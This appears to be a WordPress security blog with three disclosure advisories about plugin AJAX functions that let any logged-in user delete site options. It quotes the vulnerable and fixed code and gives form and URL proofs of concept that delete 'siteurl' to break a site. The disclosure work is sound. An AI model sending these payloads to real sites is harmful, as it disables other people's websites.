11 Oct

Authenticated Option Deletion Vulnerability in My WP Translate

Recently we went to check on a report of a cross-site scripting (XSS) vulnerability in the plugin My WP Translate and while looking into that we noticed that there were a number AJAX accessible functions that didn’t have the proper protection so that anyone logged in could access them. That is an all too common situation. On a lot of websites that wouldn’t matter much since the only user account is an Administrator, so that if someone gains access to the account they can do whatever they want already, or only trusted individuals have accounts. For websites that do allow untrusted users to have accounts taking extra precautions when it comes to plugins is a good idea. That can include limiting the number of plugins you use and for the highest assurance getting a security review done of them (we do security reviews of plugins suggested/voted for by our customers and also offer a separate service if just want to purchase a review).

Often times the intended functionality of an AJAX accessible function is dangerous for lower level users to have access to, but it is also possible that the code can used to take other action they intended. In the case of this plugin we found that it is possible to use one of those functions to delete WordPress options (settings).  As we discovered with a very similar vulnerability more than a year ago, that can be used to disable a website with a single request.

The plugin made the function ajax_mtswpt_remove_plugin() accessible through WordPress AJAX functionality to only those logged in:

160
$this->loader->add_action( 'wp_ajax_mtswpt_remove_plugin', $plugin_admin, 'ajax_mtswpt_remove_plugin' );

The function, located in the file /admin/class-my-wp-translate-admin.php, doesn’t perform any check on the capabilities of the user (only users with the “manage_options” capability should be able to access it) or check for protection against cross-site request forgery (CSRF). Instead the first thing it does is the value of the POST input “plugin_tab” to variable “$plugin_tab “:

736
737
738
public function ajax_mtswpt_remove_plugin() {
 
	$plugin_tab = $_POST['plugin_tab'];

Later in the code it checks if an option with name that matches the variable’s value exists and if it does, the option is deleted:

754
755
if ( false !== get_option( $plugin_tab, false ) ) {
	delete_option( $plugin_tab );

If you were to use that to delete “site_url” option, it would cause requests for the frontend of the website to show the message “Error establishing a database connection” instead of the intended page content and requests for the admin area to only have the message “One or more database tables are unavailable. The database may need to be repaired.” If you do try a database repair, the result with be that it won’t fix this, but it will be indicated that the options table, where the deleted option existed, “is okay”, which seems unhelpful.

In version 1.0.4 the function has been renamed and a check for a nonce, to prevent CSRF has been added:

950
951
952
public function ajax_remove_plugin() {
 
	check_ajax_referer( 'my-wp-translate', 'security' );

No capabilities check was added, but the nonce is only accessible on the plugin’s admin page, so under normal circumstances that would do the equivalent of a capabilities check, though it would better to check for capabilities as it is possible that a nonce could be compromised.

Proof of Concept

The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mtswpt_remove_plugin" />
<input type="hidden" name="plugin_tab" value="siteurl" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 9, 2017 – Developer notified.
  • October 10, 2017 – Developer responds.
  • October 10, 2017 – Version 1.0.4 released, which fixes vulnerability.
28 Jun

Authenticated Option Deletion Vulnerability in Social Media

Recently we found that the plugin Social Media and Share Icons (Ultimate Social Media) contained an authenticated option deletion vulnerability. The Social Media plugin is based on the code base of that plugin and contained the same vulnerable code. The only difference being that function is named sfsi_plus_DeleteSkin() in this plugin, that is located in the file /libs/controllers/sfsi_iconsUpload_contoller.php.

Proof of Concept

The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=plus_DeleteSkin&iconname=siteurl

Timeline

  • 6/23/2016 – Developer notified.
  • 6/28/2016 – Version 2.4.6 released, which fixes issue.
28 Jun

Authenticated Option Deletion Vulnerability in Social Media and Share Icons (Ultimate Social Media)

Recently we have been finding a lot of vulnerabilities in WordPress plugins through monitoring our websites for what look to be requests related to hacking attempts against plugins that don’t have known vulnerabilities and then checking over the plugins for exploitable vulnerabilities. That has lead to us finding quite a few vulnerabilities in the current versions of plugins. In attempt to catch more of this type of issue we have been looking around for more data so that we can catch more of these vulnerabilities. That lead us to look at the Social Media and Share Icons (Ultimate Social Media) plugin, despite it looking like it might not have been the target of a hacker. While reviewing that we found a fairly serious vulnerability, though not one that hackers would likely be interested in exploiting.

One of things we review during this type of check is AJAX accessible functions since we have seen those to be a frequent source of issues. Despite the fact that that all of the functions look to be intended only to be accessible to Administrator level users, no check was being done to insure that lower level users were not accessing them. Most of them were still protected to an extent due to fact that a valid nonce was being checked for. That wasn’t the case for the function sfsi_DeleteSkin(), which is located in the file /libs/controllers/sfsi_iconsUpload_contoller.php. While that function is intended for deleting custom skins for the the plugin, the code allows you to delete any option from the wp_options table, since it doesn’t do anything to limit what you can pass to the delete_option() function:

79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
function sfsi_DeleteSkin()
{
	$upload_dir = wp_upload_dir();
 
	if($_REQUEST['action'] == 'DeleteSkin' &amp;&amp; isset($_REQUEST['iconname']) &amp;&amp; !empty($_REQUEST['iconname']))
	{
	   $imgurl = get_option( $_REQUEST['iconname'] );
	   $path = parse_url($imgurl, PHP_URL_PATH);
 
	   if(is_file($_SERVER['DOCUMENT_ROOT'] . $path))
	   {
        	unlink($_SERVER['DOCUMENT_ROOT'] . $path);
       }
 
	   delete_option( $_REQUEST['iconname'] );
	   die(json_encode(array('res'=&gt;'success')));
	}
	else
	{
		die(json_encode(array('res'=&gt;'error')));
	}	
}

Through that any logged in user could delete critical settings from website and make it non-functional.

After contacting the developer part of the issue was fixed in version 1.5.2, you can see that there is now a nonce check and the options that can be deleted is limited. That prevents the vulnerability from being exploited, but this function and the rest of the AJAX accessible still lack a proper check to make sure that lower level users are not accessing it.

79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
function sfsi_DeleteSkin()
{
	if ( !wp_verify_nonce( $_POST['nonce'], "deleteCustomSkin")) {
		echo  json_encode(array('res'=&gt;"error")); exit;
	} 
 
	$upload_dir = wp_upload_dir();
 
	if($_POST['action'] == 'DeleteSkin' &amp;&amp; isset($_POST['iconname']) &amp;&amp; !empty($_POST['iconname']) &amp;&amp; current_user_can('manage_options'))
	{
		$iconsArray = array(
			"rss_skin","email_skin","facebook_skin","twitter_skin","google_skin",
			"share_skin","youtube_skin","linkedin_skin","pintrest_skin","instagram_skin"
		);
		if(in_array($_POST['iconname'], $iconsArray))
		{
			$imgurl = get_option( $_POST['iconname'] );
			$path = parse_url($imgurl, PHP_URL_PATH);
 
			if(is_file($_SERVER['DOCUMENT_ROOT'] . $path))
			{
				unlink($_SERVER['DOCUMENT_ROOT'] . $path);
			}
 
			delete_option( $_POST['iconname'] );
			die(json_encode(array('res'=&gt;'success')));
		}
		else
		{
			die(json_encode(array('res'=&gt;'error')));
		}
	}
	else
	{
		die(json_encode(array('res'=&gt;'error')));
	}	
}

Proof of Concept

The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=DeleteSkin&iconname=siteurl

Timeline

  • 6/23/2016 – Developer notified.
  • 6/28/2106 – Version 1.5.2 released, which fixes issue.